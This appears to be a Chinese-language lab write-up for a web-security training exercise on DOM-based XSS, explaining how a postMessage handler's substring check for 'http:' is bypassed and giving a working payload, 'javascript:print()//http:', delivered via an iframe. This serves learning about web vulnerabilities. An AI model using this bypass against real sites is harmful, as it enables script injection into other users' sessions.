# DOM-based Lab2 這題是 Web Message + DOM XSS + JavaScript URL 的組合,是繞過「黑名單」檢查的技巧。 所以一樣先進入網站。  可以在原始碼發現下列線索: ```html <script> window.addEventListener('message', function(e) { var url = e.data; if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) { location.href = url; } }, false); </script> ``` 這代表: - 這段程式碼試圖保護跳轉,只允許 `http:` 或 `https:` URL。 但實際上: ``` url.indexOf('http:') > -1 ``` 這只是在整段字串中找是否「包含」http: 或 https:,而不是檢查開頭或正確格式。 只要發送一個包含 http: 的任意字串,哪怕它不是網址開頭,也會被直接跳轉: ``` 'javascript:print()//http:' ``` - JavaScript 協議的 payload - `print()` 會觸發列印對話框(XSS lab 要求) - `//http:` 是為了混淆,讓這段 payload 通過 indexOf 檢查 ```html <iframe src="https://0a40000104224cb68016034d0047006f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')"> ```  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up